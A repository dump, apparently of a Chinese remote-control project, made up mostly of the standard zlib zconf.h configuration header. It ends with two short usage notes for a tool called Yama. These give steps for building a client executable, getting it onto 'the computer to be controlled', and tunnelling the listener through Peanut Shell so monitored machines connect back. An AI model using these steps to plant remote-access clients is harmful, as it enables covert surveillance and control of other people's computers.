56 | # define deflateSetDictionary z_deflateSetDictionary 57 | # define deflateSetHeader z_deflateSetHeader 58 | # define deflateTune z_deflateTune 59 | # define deflate_copyright z_deflate_copyright 60 | # define get_crc_table z_get_crc_table 61 | # ifndef Z_SOLO 62 | # define gz_error z_gz_error 63 | # define gz_intmax z_gz_intmax 64 | # define gz_strwinerror z_gz_strwinerror 65 | # define gzbuffer z_gzbuffer 66 | # define gzclearerr z_gzclearerr 67 | # define gzclose z_gzclose 68 | # define gzclose_r z_gzclose_r 69 | # define gzclose_w z_gzclose_w 70 | # define gzdirect z_gzdirect 71 | # define gzdopen z_gzdopen 72 | # define gzeof z_gzeof 73 | # define gzerror z_gzerror 74 | # define gzflush z_gzflush 75 | # define gzfread z_gzfread 76 | # define gzfwrite z_gzfwrite 77 | # define gzgetc z_gzgetc 78 | # define gzgetc_ z_gzgetc_ 79 | # define gzgets z_gzgets 80 | # define gzoffset z_gzoffset 81 | # define gzoffset64 z_gzoffset64 82 | # define gzopen z_gzopen 83 | # define gzopen64 z_gzopen64 84 | # ifdef _WIN32 85 | # define gzopen_w z_gzopen_w 86 | # endif 87 | # define gzprintf z_gzprintf 88 | # define gzputc z_gzputc 89 | # define gzputs z_gzputs 90 | # define gzread z_gzread 91 | # define gzrewind z_gzrewind 92 | # define gzseek z_gzseek 93 | # define gzseek64 z_gzseek64 94 | # define gzsetparams z_gzsetparams 95 | # define gztell z_gztell 96 | # define gztell64 z_gztell64 97 | # define gzungetc z_gzungetc 98 | # define gzvprintf z_gzvprintf 99 | # define gzwrite z_gzwrite 100 | # endif 101 | # define inflate z_inflate 102 | # define inflateBack z_inflateBack 103 | # define inflateBackEnd z_inflateBackEnd 104 | # define inflateBackInit z_inflateBackInit 105 | # define inflateBackInit_ z_inflateBackInit_ 106 | # define inflateCodesUsed z_inflateCodesUsed 107 | # define inflateCopy z_inflateCopy 108 | # define inflateEnd z_inflateEnd 109 | # define inflateGetDictionary z_inflateGetDictionary 110 | # define inflateGetHeader z_inflateGetHeader 111 | # define inflateInit z_inflateInit 112 | # define inflateInit2 z_inflateInit2 113 | # define inflateInit2_ z_inflateInit2_ 114 | # define inflateInit_ z_inflateInit_ 115 | # define inflateMark z_inflateMark 116 | # define inflatePrime z_inflatePrime 117 | # define inflateReset z_inflateReset 118 | # define inflateReset2 z_inflateReset2 119 | # define inflateResetKeep z_inflateResetKeep 120 | # define inflateSetDictionary z_inflateSetDictionary 121 | # define inflateSync z_inflateSync 122 | # define inflateSyncPoint z_inflateSyncPoint 123 | # define inflateUndermine z_inflateUndermine 124 | # define inflateValidate z_inflateValidate 125 | # define inflate_copyright z_inflate_copyright 126 | # define inflate_fast z_inflate_fast 127 | # define inflate_table z_inflate_table 128 | # ifndef Z_SOLO 129 | # define uncompress z_uncompress 130 | # define uncompress2 z_uncompress2 131 | # endif 132 | # define zError z_zError 133 | # ifndef Z_SOLO 134 | # define zcalloc z_zcalloc 135 | # define zcfree z_zcfree 136 | # endif 137 | # define zlibCompileFlags z_zlibCompileFlags 138 | # define zlibVersion z_zlibVersion 139 | 140 | /* all zlib typedefs in zlib.h and zconf.h */ 141 | # define Byte z_Byte 142 | # define Bytef z_Bytef 143 | # define alloc_func z_alloc_func 144 | # define charf z_charf 145 | # define free_func z_free_func 146 | # ifndef Z_SOLO 147 | # define gzFile z_gzFile 148 | # endif 149 | # define gz_header z_gz_header 150 | # define gz_headerp z_gz_headerp 151 | # define in_func z_in_func 152 | # define intf z_intf 153 | # define out_func z_out_func 154 | # define uInt z_uInt 155 | # define uIntf z_uIntf 156 | # define uLong z_uLong 157 | # define uLongf z_uLongf 158 | # define voidp z_voidp 159 | # define voidpc z_voidpc 160 | # define voidpf z_voidpf 161 | 162 | /* all zlib structs in zlib.h and zconf.h */ 163 | # define gz_header_s z_gz_header_s 164 | # define internal_state z_internal_state 165 | 166 | #endif 167 | 168 | #if defined(__MSDOS__) && !defined(MSDOS) 169 | # define MSDOS 170 | #endif 171 | #if (defined(OS_2) || defined(__OS2__)) && !defined(OS2) 172 | # define OS2 173 | #endif 174 | #if defined(_WINDOWS) && !defined(WINDOWS) 175 | # define WINDOWS 176 | #endif 177 | #if defined(_WIN32) || defined(_WIN32_WCE) || defined(__WIN32__) 178 | # ifndef WIN32 179 | # define WIN32 180 | # endif 181 | #endif 182 | #if (defined(MSDOS) || defined(OS2) || defined(WINDOWS)) && !defined(WIN32) 183 | # if !defined(__GNUC__) && !defined(__FLAT__) && !defined(__386__) 184 | # ifndef SYS16BIT 185 | # define SYS16BIT 186 | # endif 187 | # endif 188 | #endif 189 | 190 | /* 191 | * Compile with -DMAXSEG_64K if the alloc function cannot allocate more 192 | * than 64k bytes at a time (needed on systems with 16-bit int). 193 | */ 194 | #ifdef SYS16BIT 195 | # define MAXSEG_64K 196 | #endif 197 | #ifdef MSDOS 198 | # define UNALIGNED_OK 199 | #endif 200 | 201 | #ifdef __STDC_VERSION__ 202 | # ifndef STDC 203 | # define STDC 204 | # endif 205 | # if __STDC_VERSION__ >= 199901L 206 | # ifndef STDC99 207 | # define STDC99 208 | # endif 209 | # endif 210 | #endif 211 | #if !defined(STDC) && (defined(__STDC__) || defined(__cplusplus)) 212 | # define STDC 213 | #endif 214 | #if !defined(STDC) && (defined(__GNUC__) || defined(__BORLANDC__)) 215 | # define STDC 216 | #endif 217 | #if !defined(STDC) && (defined(MSDOS) || defined(WINDOWS) || defined(WIN32)) 218 | # define STDC 219 | #endif 220 | #if !defined(STDC) && (defined(OS2) || defined(__HOS_AIX__)) 221 | # define STDC 222 | #endif 223 | 224 | #if defined(__OS400__) && !defined(STDC) /* iSeries (formerly AS/400). */ 225 | # define STDC 226 | #endif 227 | 228 | #ifndef STDC 229 | # ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */ 230 | # define const /* note: need a more gentle solution here */ 231 | # endif 232 | #endif 233 | 234 | #if defined(ZLIB_CONST) && !defined(z_const) 235 | # define z_const const 236 | #else 237 | # define z_const 238 | #endif 239 | 240 | #ifdef Z_SOLO 241 | typedef unsigned long z_size_t; 242 | #else 243 | # define z_longlong long long 244 | # if defined(NO_SIZE_T) 245 | typedef unsigned NO_SIZE_T z_size_t; 246 | # elif defined(STDC) 247 | # include 248 | typedef size_t z_size_t; 249 | # else 250 | typedef unsigned long z_size_t; 251 | # endif 252 | # undef z_longlong 253 | #endif 254 | 255 | /* Maximum value for memLevel in deflateInit2 */ 256 | #ifndef MAX_MEM_LEVEL 257 | # ifdef MAXSEG_64K 258 | # define MAX_MEM_LEVEL 8 259 | # else 260 | # define MAX_MEM_LEVEL 9 261 | # endif 262 | #endif 263 | 264 | /* Maximum value for windowBits in deflateInit2 and inflateInit2. 265 | * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files 266 | * created by gzip. (Files created by minigzip can still be extracted by 267 | * gzip.) 268 | */ 269 | #ifndef MAX_WBITS 270 | # define MAX_WBITS 15 /* 32K LZ77 window */ 271 | #endif 272 | 273 | /* The memory requirements for deflate are (in bytes): 274 | (1 << (windowBits+2)) + (1 << (memLevel+9)) 275 | that is: 128K for windowBits=15 + 128K for memLevel = 8 (default values) 276 | plus a few kilobytes for small objects. For example, if you want to reduce 277 | the default memory requirements from 256K to 128K, compile with 278 | make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7" 279 | Of course this will generally degrade compression (there's no free lunch). 280 | 281 | The memory requirements for inflate are (in bytes) 1 << windowBits 282 | that is, 32K for windowBits=15 (default value) plus about 7 kilobytes 283 | for small objects. 284 | */ 285 | 286 | /* Type declarations */ 287 | 288 | #ifndef OF /* function prototypes */ 289 | # ifdef STDC 290 | # define OF(args) args 291 | # else 292 | # define OF(args) () 293 | # endif 294 | #endif 295 | 296 | #ifndef Z_ARG /* function prototypes for stdarg */ 297 | # if defined(STDC) || defined(Z_HAVE_STDARG_H) 298 | # define Z_ARG(args) args 299 | # else 300 | # define Z_ARG(args) () 301 | # endif 302 | #endif 303 | 304 | /* The following definitions for FAR are needed only for MSDOS mixed 305 | * model programming (small or medium model with some far allocations). 306 | * This was tested only with MSC; for other MSDOS compilers you may have 307 | * to define NO_MEMCPY in zutil.h. If you don't need the mixed model, 308 | * just define FAR to be empty. 309 | */ 310 | #ifdef SYS16BIT 311 | # if defined(M_I86SM) || defined(M_I86MM) 312 | /* MSC small or medium model */ 313 | # define SMALL_MEDIUM 314 | # ifdef _MSC_VER 315 | # define FAR _far 316 | # else 317 | # define FAR far 318 | # endif 319 | # endif 320 | # if (defined(__SMALL__) || defined(__MEDIUM__)) 321 | /* Turbo C small or medium model */ 322 | # define SMALL_MEDIUM 323 | # ifdef __BORLANDC__ 324 | # define FAR _far 325 | # else 326 | # define FAR far 327 | # endif 328 | # endif 329 | #endif 330 | 331 | #if defined(WINDOWS) || defined(WIN32) 332 | /* If building or using zlib as a DLL, define ZLIB_DLL. 333 | * This is not mandatory, but it offers a little performance increase. 334 | */ 335 | # ifdef ZLIB_DLL 336 | # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) 337 | # ifdef ZLIB_INTERNAL 338 | # define ZEXTERN extern __declspec(dllexport) 339 | # else 340 | # define ZEXTERN extern __declspec(dllimport) 341 | # endif 342 | # endif 343 | # endif /* ZLIB_DLL */ 344 | /* If building or using zlib with the WINAPI/WINAPIV calling convention, 345 | * define ZLIB_WINAPI. 346 | * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. 347 | */ 348 | # ifdef ZLIB_WINAPI 349 | # ifdef FAR 350 | # undef FAR 351 | # endif 352 | # include 353 | /* No need for _export, use ZLIB.DEF instead. */ 354 | /* For complete Windows compatibility, use WINAPI, not __stdcall. */ 355 | # define ZEXPORT WINAPI 356 | # ifdef WIN32 357 | # define ZEXPORTVA WINAPIV 358 | # else 359 | # define ZEXPORTVA FAR CDECL 360 | # endif 361 | # endif 362 | #endif 363 | 364 | #if defined (__BEOS__) 365 | # ifdef ZLIB_DLL 366 | # ifdef ZLIB_INTERNAL 367 | # define ZEXPORT __declspec(dllexport) 368 | # define ZEXPORTVA __declspec(dllexport) 369 | # else 370 | # define ZEXPORT __declspec(dllimport) 371 | # define ZEXPORTVA __declspec(dllimport) 372 | # endif 373 | # endif 374 | #endif 375 | 376 | #ifndef ZEXTERN 377 | # define ZEXTERN extern 378 | #endif 379 | #ifndef ZEXPORT 380 | # define ZEXPORT 381 | #endif 382 | #ifndef ZEXPORTVA 383 | # define ZEXPORTVA 384 | #endif 385 | 386 | #ifndef FAR 387 | # define FAR 388 | #endif 389 | 390 | #if !defined(__MACTYPES__) 391 | typedef unsigned char Byte; /* 8 bits */ 392 | #endif 393 | typedef unsigned int uInt; /* 16 bits or more */ 394 | typedef unsigned long uLong; /* 32 bits or more */ 395 | 396 | #ifdef SMALL_MEDIUM 397 | /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ 398 | # define Bytef Byte FAR 399 | #else 400 | typedef Byte FAR Bytef; 401 | #endif 402 | typedef char FAR charf; 403 | typedef int FAR intf; 404 | typedef uInt FAR uIntf; 405 | typedef uLong FAR uLongf; 406 | 407 | #ifdef STDC 408 | typedef void const *voidpc; 409 | typedef void FAR *voidpf; 410 | typedef void *voidp; 411 | #else 412 | typedef Byte const *voidpc; 413 | typedef Byte FAR *voidpf; 414 | typedef Byte *voidp; 415 | #endif 416 | 417 | #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) 418 | # include 419 | # if (UINT_MAX == 0xffffffffUL) 420 | # define Z_U4 unsigned 421 | # elif (ULONG_MAX == 0xffffffffUL) 422 | # define Z_U4 unsigned long 423 | # elif (USHRT_MAX == 0xffffffffUL) 424 | # define Z_U4 unsigned short 425 | # endif 426 | #endif 427 | 428 | #ifdef Z_U4 429 | typedef Z_U4 z_crc_t; 430 | #else 431 | typedef unsigned long z_crc_t; 432 | #endif 433 | 434 | #ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */ 435 | # define Z_HAVE_UNISTD_H 436 | #endif 437 | 438 | #ifdef HAVE_STDARG_H /* may be set to #if 1 by ./configure */ 439 | # define Z_HAVE_STDARG_H 440 | #endif 441 | 442 | #ifdef STDC 443 | # ifndef Z_SOLO 444 | # include /* for off_t */ 445 | # endif 446 | #endif 447 | 448 | #if defined(STDC) || defined(Z_HAVE_STDARG_H) 449 | # ifndef Z_SOLO 450 | # include /* for va_list */ 451 | # endif 452 | #endif 453 | 454 | #ifdef _WIN32 455 | # ifndef Z_SOLO 456 | # include /* for wchar_t */ 457 | # endif 458 | #endif 459 | 460 | /* a little trick to accommodate both "#define _LARGEFILE64_SOURCE" and 461 | * "#define _LARGEFILE64_SOURCE 1" as requesting 64-bit operations, (even 462 | * though the former does not conform to the LFS document), but considering 463 | * both "#undef _LARGEFILE64_SOURCE" and "#define _LARGEFILE64_SOURCE 0" as 464 | * equivalently requesting no 64-bit operations 465 | */ 466 | #if defined(_LARGEFILE64_SOURCE) && -_LARGEFILE64_SOURCE - -1 == 1 467 | # undef _LARGEFILE64_SOURCE 468 | #endif 469 | 470 | #if defined(__WATCOMC__) && !defined(Z_HAVE_UNISTD_H) 471 | # define Z_HAVE_UNISTD_H 472 | #endif 473 | #ifndef Z_SOLO 474 | # if defined(Z_HAVE_UNISTD_H) || defined(_LARGEFILE64_SOURCE) 475 | # include /* for SEEK_*, off_t, and _LFS64_LARGEFILE */ 476 | # ifdef VMS 477 | # include /* for off_t */ 478 | # endif 479 | # ifndef z_off_t 480 | # define z_off_t off_t 481 | # endif 482 | # endif 483 | #endif 484 | 485 | #if defined(_LFS64_LARGEFILE) && _LFS64_LARGEFILE-0 486 | # define Z_LFS64 487 | #endif 488 | 489 | #if defined(_LARGEFILE64_SOURCE) && defined(Z_LFS64) 490 | # define Z_LARGE64 491 | #endif 492 | 493 | #if defined(_FILE_OFFSET_BITS) && _FILE_OFFSET_BITS-0 == 64 && defined(Z_LFS64) 494 | # define Z_WANT64 495 | #endif 496 | 497 | #if !defined(SEEK_SET) && !defined(Z_SOLO) 498 | # define SEEK_SET 0 /* Seek from beginning of file. */ 499 | # define SEEK_CUR 1 /* Seek from current position. */ 500 | # define SEEK_END 2 /* Set file pointer to EOF plus "offset" */ 501 | #endif 502 | 503 | #ifndef z_off_t 504 | # define z_off_t long 505 | #endif 506 | 507 | #if !defined(_WIN32) && defined(Z_LARGE64) 508 | # define z_off64_t off64_t 509 | #else 510 | # if defined(_WIN32) && !defined(__GNUC__) && !defined(Z_SOLO) 511 | # define z_off64_t __int64 512 | # else 513 | # define z_off64_t z_off_t 514 | # endif 515 | #endif 516 | 517 | /* MVS linker does not support external names larger than 8 bytes */ 518 | #if defined(__MVS__) 519 | #pragma map(deflateInit_,"DEIN") 520 | #pragma map(deflateInit2_,"DEIN2") 521 | #pragma map(deflateEnd,"DEEND") 522 | #pragma map(deflateBound,"DEBND") 523 | #pragma map(inflateInit_,"ININ") 524 | #pragma map(inflateInit2_,"ININ2") 525 | #pragma map(inflateEnd,"INEND") 526 | #pragma map(inflateSync,"INSY") 527 | #pragma map(inflateSetDictionary,"INSEDI") 528 | #pragma map(compressBound,"CMBND") 529 | #pragma map(inflate_table,"INTABL") 530 | #pragma map(inflate_fast,"INFA") 531 | #pragma map(inflate_copyright,"INCOPY") 532 | #endif 533 | 534 | #endif /* ZCONF_H */ 535 | -------------------------------------------------------------------------------- /server/2015Remote/zlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/zlib.lib -------------------------------------------------------------------------------- /server/2015Remote/zstd/zstd.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MarkJaneLX/yuankong/2961dd19e95e2bc4377bce543225800ff315c295/server/2015Remote/zstd/zstd.lib -------------------------------------------------------------------------------- /使用方法.txt: -------------------------------------------------------------------------------- 1 | 【使用方法】 2 | 3 | 首先请编译这4个项目,确保都成功通过,然后到生成目录,例如Debug(或Release)。 4 | 5 | 1、打开Yama应用程序,点击Yama应用程序的“生成客户端”图标; 6 | 7 | 2、填写目标IP(可以填域名,例如www.baidu.com)和端口(例如6666); 8 | 9 | 3、点击“确定”,这时候会在Debug目录生成一个名为"ClientDemo.exe"的可执行程序; 10 | 11 | 4、想办法把"ClientDemo.exe"和"ServerDll.dll"一起拷贝到想要被控制的电脑,运行起来; 12 | 13 | 5、把Yama拷贝到目标IP的机器运行起来,点击设置菜单,设置端口号为6666,点击“应用”或“确定”按钮; 14 | 15 | 6、重启Yama,等待被控电脑连接,如果有电脑运行了"ClientDemo.exe",则会在界面显示。 16 | 17 | 2023-10-1 18 | JaneMark 19 | -------------------------------------------------------------------------------- /使用花生壳.txt: -------------------------------------------------------------------------------- 1 | 1、启动Yama监控服务端,记住内网IP和监听端口Port. 2 | 3 | 2、在花生壳内网穿透添加端口映射,将内网IP和监听端口Port映射到花生壳域名host及花生壳端口port. 4 | 5 | 3、在Yama生成客户端页面,输入host和port生成监控客户端. 6 | 7 | 4、将ClientDemo部署到需要被监控的电脑上运行,即可开始远程监控. 8 | 9 | 参考资料 10 | 11 | 花生壳(内网穿透)服务做远程桌面登录:https://service.oray.com/question/1824.html 12 | 13 | 2023-10-1 14 | JaneMark 15 | --------------------------------------------------------------------------------